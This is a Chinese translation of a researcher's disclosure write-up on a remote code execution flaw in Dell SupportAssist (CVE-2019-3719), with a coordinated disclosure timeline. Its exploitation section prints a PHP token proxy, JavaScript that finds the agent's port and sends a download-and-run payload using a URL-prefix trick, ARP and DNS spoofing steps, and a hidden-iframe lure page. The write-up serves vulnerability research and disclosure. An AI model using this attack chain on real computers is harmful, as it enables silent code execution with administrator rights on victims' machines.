搬个板凳听17岁少年详解如何发现几乎影响所有戴尔电脑的 RCE 漏洞
编译:奇安信代码卫士团队
17岁少年Bill Demirkapi 在博客上分享了自己如何发现影响多数戴尔电脑的远程代码执行漏洞,内含技术详情。奇安信代码卫士团队现编译如下供大家学习借鉴。
你用的是啥牌子的电脑?厂家是谁?你是否想过你的电脑中安装了啥软件?当我们说到远程代码执行 (RCE) 漏洞的时候,可能想到的是操作系统中的漏洞,但另外一个需要考虑的攻击向量是“我的电脑中安装了哪些第三方软件?”在本文中,我将说明如何在戴尔 SupportAssist 中找到一个 RCE 漏洞。SupportAssist 旨在“积极检查系统的软件和硬件健康状况”,“预装在多数新的戴尔设备中”。
发现
去年9月份,我打算换掉已经使用了7年的 Macbook Pro,于是查找可以负担得起且能满足我技能需求的电脑,我决定买戴尔 G3 15 笔记本。当时决定将笔记本 1 TB 大小的硬盘更新为 SSD。更新完且重装了 Windows 后,必须安装驱动。这时候问题来了。
访问了戴尔的支持站点后,它弹出了一个有意思的选项“检测 PC”。它还能检测我的电脑?出于好奇,我点击了这个按钮。它触发了一个 SupportAssist 下载弹出消息。尽管这个功能提供了便利性,但看似有风险。因为我的电脑是新安装了 Windows,因此并未安装这个代理 (agent),不过我决定安装一下以便进一步调查。戴尔声称能够通过网站更新我的驱动这一点让我起了疑心。
安装并不难,只要点击安装按钮即可。SupportAssist 安装程序创建了 SupportAssistAgent 和 Dell Hardware Support 服务。这些服务和 .NET 二进制相对应,因此逆向比较容易。安装后,我又返回戴尔网站并想看看它到底能检测到什么内容。
我打开了 Chrome Web Inspector 和 Network 标签,然后按下“检测驱动”按钮。
网站向我的本地电脑端口8884发出请求。从 Process Hacker 上查看该端口后发现,SupportAssistAgent 服务在该端口上有一个 web 服务器。戴尔当时正在做的就是将服务中类似 REST API 暴露,从而允许戴尔网站中的通信执行各种请求。该 web 服务器以严格的 https://www.dell.com的 Access-Control-Allow-Origin 头部回应,以阻止其它网站提出请求。
在 web 浏览器端,该客户端提供了签名以验证多种命令。这些签名通过向 https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken提出请求的方式生成,它同时说明签名的失效时间。点击 web 端的下载驱动后,该请求变得非常有意思:
POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Origin: https://www.dell.com
Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
主体部分:
[
{
"title":"Dell G3 3579 and 3779 System BIOS",
"category":"BIOS",
"name":"G3_3579_1.9.0.exe",
"location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",
"isSecure":false,
"fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",
"run":false,
"restricted":false,
"fileId":"198393521",
"fileSize":"13 MB",
"checkedStatus":false,
"fileStatus":-99,
"driverId":"4WW45",
"path":"",
"dupInstallReturnCode":"",
"cssClass":"inactive-step",
"isReboot":true,
"DiableInstallNow":true,
"$$hashKey":"object:175"
}
看似这个 web 客户端能够向 SupportAssistAgent 服务发送直接请求以“下载并手动安装”程序。我决定从 SupportAssistAgent 服务中找到该 web 服务器以调查发出的命令内容。
首先,戴尔 SupportAssist 在端口8884或8883或8886或 8885 上启动了一个 web 服务器 (System.Net.HttpListener)。使用哪个端口决定于哪个端口可用,不过从8884开始。在请求中,位于HttpListenerServiceFacade 中的ListenerCallback 调用了 ClientServiceHandler.ProcessRequest。
ClientServiceHandler.ProcessRequest 是基本的 web 服务器函数,启动时会执行完整性检查,以(比如)确保请求来自本地机器,并执行其它检查。后续我们将说明完整性检查中的一些问题,不过当前多数问题对于实现 RCE 都无关紧要。
对于我们而言,一种重要的检查存在于 ClientServiceHandler.ProcessRequest 中,尤其是服务器检查以确保我的访问来源是来自戴尔。ProcessRequest 调用如下函数以确保访问来源是戴尔:
// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
public static bool ValidateDomain(Uri request, Uri urlReferrer)
{
return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
}
// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
public static bool ValidateDomain(string domain)
{
return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
}
这个函数的问题在于,这种检查并非无懈可击,可导致攻击者留下很多的操作空间。要绕过这个访问来源/源检查,我们可以有很多选择:
1、找到任何戴尔网站中的一个跨站点脚本漏洞(我应该只要从 SupportAssist 指定的网站上找到即可)
2、找到子域名接管漏洞
3、从本地程序提出请求
4、生成一个随机的子域名并使用一台外部机器实施 DNS 劫持,之后当受害者请求获取 [random].dell.com 时,我们以自己的服务器响应。
最后,我选择上面的第4种方法,之后我会解释为什么。验证了请求的访问来源/源后,ProcessRequest 将请求发送给相应的 GET、POST 和 OPTIONS 函数。
当我了解到关于戴尔 SupportAssist 如何运作的更多知识后,我从戴尔的支持站点中拦截了不同的请求类型。幸运的是,我的笔记本电脑还没更新完成,于是我就能通过浏览器控制台来拦截请求。
首先,网站试图通过循环以上提及的服务端口并连接到 Service Method “isalive”来检测 SupportAssist。有意思的点在于,它传递的是一个“Signature”形参和一个“Expires”形参。为了查到更多的信息,我逆向了浏览器的 javascript 端。我找到的结果如下:
1、首先,浏览器向 https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken 发出一个请求并获取最新的“Token”或我之前提到的签名。该端点同时提供“Expires 令牌”,这就解决了签名问题。
2、接着,浏览器向每个服务端口提出请求,样式如下:http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]。
3、SupportAssist 客户端随后在触及正确的服务端口时进行响应,样式如下:
{
"isAlive": true,
"clientVersion": "[CLIENT VERSION]",
"requiredVersion": null,
"success": true,
"data": null,
"localTime": [EPOCH TIME],
"Exception": {
"Code": null,
"Message": null,
"Type": null
}
}
4、浏览器看到以上内容时,继续使用确定的服务端口提出进一步的请求。
在查看能够提出的不同类型的请求时,我注意到了一些情况:我能够通过“getsysteminfo”路由查看到连接到我的电脑的所有硬件的详细说明。即使通过跨站点脚本技术,我也能够访问该数据。这就是一个问题,因为我能够为系统录指纹并找到敏感信息。
如下是该代理 (agent) 暴露的方法:
clientservice_getdevicedrivers - Grabs available updates.
diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).
downloadservice_downloadfiles - Downloads a JSON array of files.
clientservice_isalive - Used as a heartbeat and returns basic information about the agent.
clientservice_getservicetag - Grabs the service tag.
localclient_img - Connects to SignalR (Dell Hardware Support).
diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.
clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.
diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.
downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.
diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.
diagnosticsservice_launchtool - Launches a diagnostic tool.
diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.
downloadservice_createiso - Download an ISO.
clientservice_checkadminrights - Check if the Agent privileged.
diagnosticsservice_performinstallation - Update SupportAssist.
diagnosticsservice_rebootsystem - Reboot system.
clientservice_getdevices - Grab system devices.
downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.
diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).
downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.
downloadservice_createbootableiso - Download bootable iso.
diagnosticsservice_isalive - Heartbeat check.
downloadservice_downloadandautoinstall - Downloads a list of files and executes them.
clientservice_getscanresults - Gets driver scan results.
downloadservice_restartsystem - Restarts the system.
让我眼前一亮的是downloadservice_downloadandautoinstall 方法。它从某个特定 URL 中下载文件并运行。当用户需要自动安装某些驱动时,浏览器就会运行该方法。
1、 找到需要更新的驱动后,浏览器向 http://127.0.0.1:[SERVICEPORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]发出 POST 请求。
2、 浏览器发送了如下 JSON 结构的请求:
[
{
"title":"DOWNLOAD TITLE",
"category":"CATEGORY",
"name":"FILENAME",
"location":"FILE URL",
"isSecure":false,
"fileUniqueId":"RANDOMUUID",
"run":true,
"installOrder":2,
"restricted":false,
"fileStatus":-99,
"driverId":"DRIVER ID",
"dupInstallReturnCode":0,
"cssClass":"inactive-step",
"isReboot":false,
"scanPNPId":"PNP ID",
"$$hashKey":"object:210"
}
]
3、 执行完之前讨论过的基本的完整性检查后,ClientServiceHandler.ProcessRequest 发送了 ServiceMethod以及我们传递给ClientServiceHandler.HandlePost 的形参。
4、 ClientServiceHandler.HandlePost 首先将所有的形参都放入一个数组,之后调用 ServiceMethodHelper.CallServiceMethod。
5、 ServiceMethodHelper.CallServiceMethod 是一个调度函数,并调用赋值为ServiceMethod 的函数。与我们而言,它就是“downloadandautoinstall”方法:
if (service_Method == "downloadservice_downloadandautoinstall")
{
string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty;
result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
}
它调用了 DownloadServiceLogic.DownloadAutoInstall,并提供了我们在 JSON payload 中发送的文件。
6、 DownloadServiceLogic.DownloadAutoInstall 作为 DownloadServiceLogic._HandleJson的封装(即处理异常)。
7、 DownloadServiceLogic._HandleJson 反序列化包含文件下载列表的 JSON payload,并执行如下完整新检查:
foreach (File file in list)
{
bool flag2 = file.Location.ToLower().StartsWith("http://");
if (flag2)
{
file.Location = file.Location.Replace("http://", "https://");
}
bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);
if (flag3)
{
DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");
throw new InvalidFileException();
}
}
DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);
以上的代码在每个文件中循环执行,并检查我们所提供的文件 URL 是否以 http:// 开头(如果是的话,将其替换为 https://),并且检查该 URL 是否和戴尔下载服务器列表匹配(并非所有子域名):
public static bool CheckDomain(string fileLocation)
{
List<string> list = new List<string>
{
"ftp.dell.com",
"downloads.dell.com",
"ausgesd4f1.aus.amer.dell.com"
};
return list.Contains(new Uri(fileLocation.ToLower()).Host);
}
8、最后,如果这些检查都通过,则将这些文件发送到 DownloadHandler.RegisterDownloadRequest,而 SupportAssist 则会以管理员身份下载并运行这些文件。
有了这些信息,我们就足以开始编写利用。
利用
我们面临的第一个问题是向 SupportAssist 客户端提出请求。假设我们位于Dell 某个子域名的上下文中,我们将在本章节中进一步说明如何实现它。我决定模拟该浏览器并使用 javascript 提出请求。
首先,我们需要找到服务端口。我们可以从预设服务端口中找到它,之后向“/clientservice/isalive”提出请求。该问题在于,我们同事需要提供一个签名。要获取我们传递到 isalive 的签名,我们需要向 https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken提出请求。
其实它并没有看起来的这么简单。改签名的 url 的“Access-Control-Allow-Origin”被设置为 https://www.dell.com。这就是个问题,因为我们在子域名上下文中,很可能并不是 https。我们如何绕过这个障碍呢?我们可以从自己的服务器中提出这个请求!
从“getdsdtoken”中返回的签名适用于所有机器,而非唯一机器。我编写了一个提取该签名的简单 PHP 脚本:
<?php
header('Access-Control-Allow-Origin: *');
echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
?>
这个头部允许任何人向该 PHP 文件提出请求,我们仅需要响应这些签名,作为“getdsdtoken”路由的代理。“getdsdtoken”路由返回 JSON 结构的签名和一个失效时间。我们可以使用结果中的 JSON.parse 将签名放到 javascript 对象中。
因为我们知道了签名和失效时间,因此可以提出请求。我提出一个通过每个服务器端口循环的小型函数,而如果我们能触及它,那么就能将 server_port 变量(全局)设置为响应如下内容的端口:
function FindServer() {
ports.forEach(function(port) {
var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
找到服务器后,我们就能发送 payload。这是最难的部分,在“downloadandautoinstall”执行我们的 payload 之前遇到一些很大的障碍。
从最难的问题说起,SupportAssist 客户端在文件位置方面有一个严格的白名单。具体而言,其主机必须是 ftp.dell.com、downloads.dell.com 或 ausgesd4f1.aus.amer.dell.com 中的一种。我差点放弃了,因为我无法从任何一个站点中找到开放的重定向漏洞。有了!我可以实施中间人攻击。
如果我们能够为 SupportAssist 客户端提供一个 http:// URL,就能轻松拦截并更改响应!这就解决了最难的问题。
第二个挑战在于第一个问题的解决方案上。上面我提到如果文件 URL 以 http:// 开头,那么它会别 https:// 所替代。这是个问题,因为我们无法真正拦截并更改一个正确的 https 连接的内容。绕过这个缓解措施的关键在于这句话:“如果 URL 以 http:// 开头,那么会被 https:// 所替代。”看到没?问题就是,如果 URL 字符串并不是以 http:// 开头,即使字符串中的某个地方存在 http://,那么也不会被替换。让 URL 运行起来并非易事,不过我最终想到了
“ http://downloads.dell.com/abcdefg”(注意:http 前面的空格是故意留的)。开始运行这个字符串时,会返回 false,因为字符串以空格开头,因此就只留下了 http://。
我编写了一个自动发送该 payload 的函数:
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});
xmlhttp.send(JSON.stringify(files));
}
之后就是从本地网络执行攻击。如下是我从攻击者机器上执行的步骤:
1、为特定的接口抓取接口 IP 地址。
2、开始模拟 web 服务器并提供我们想要发送的 payload 的文件名称。Web 服务器会检查 Host 头部是否为 downloads.dell.com,如是则发送该二进制 payload。如果请求 Host 中含有 dell.com,而且不是 downloads 域名,则会发送此前我们提到的 javascript payload。
3、要 ARP Spoof 受害者,我们首先启用 ip 转发工鞥之后向受害者发送 ARP 包,告知我们就是路由器;向路由器发送一个 ARP 包,告知我们就是受害者设备。在利用过程中每隔几秒钟就重复这些包。退出后,我们把原始的 mac 地址发送给受害者和路由器。
4、最后,我们通过使用 iptables 实施 DNS Spoof,将 DNS 包重定向至过滤器 (netfilter) 队列中。我们监听该队列并查看所请求的 DNS 名称是否是目标 URL。如是,则发回伪造的 DNS 包,表明我们的机器是 URL 背后正在的 IP 地址。
5、当受害者访问子域名(通过 URL 直接访问或通过嵌入式框架间接访问)时,我们将恶意 javascript payload 发送给它,找到该 agent 的服务端口,从 php 文件中此前创建的签名,之后发送 RCE payload。当 RCE payload 由 agent 处理时,会向 downloads.dell.com 提出请求,而这正是我们返回二进制 payload 的时候。
PoC 见:https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC。
演示视频中的Dellrce.html 文件源代码如下:
<h1>CVE-2019-3719</h1>
<h1>Nothing suspicious here... move along...</h1>
<iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>
时间轴
2018-10-26:向戴尔发送首个 write up。
2018-10-29:戴尔首次回应。
2018-11-22:戴尔证实漏洞存在。
2018-11-29:戴尔计划于2019年第一季度提供“暂时”修复方案。
2019-01-28:披露日期推迟至3月份。
2019-03-13:戴尔仍然在修复该漏洞并且计划在4月底发布漏洞情况。
2019-04-18:漏洞以安全通告的形式披露。
通告地址:https://www.dell.com/support/article/cn/zh/cndhs1/sln316857/dsa-2019-051-dell-supportassist-client-multiple-vulnerabilities。
原文链接
https://d4stiny.github.io/Remote-Code-Execution-on-most-Dell-computers/
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。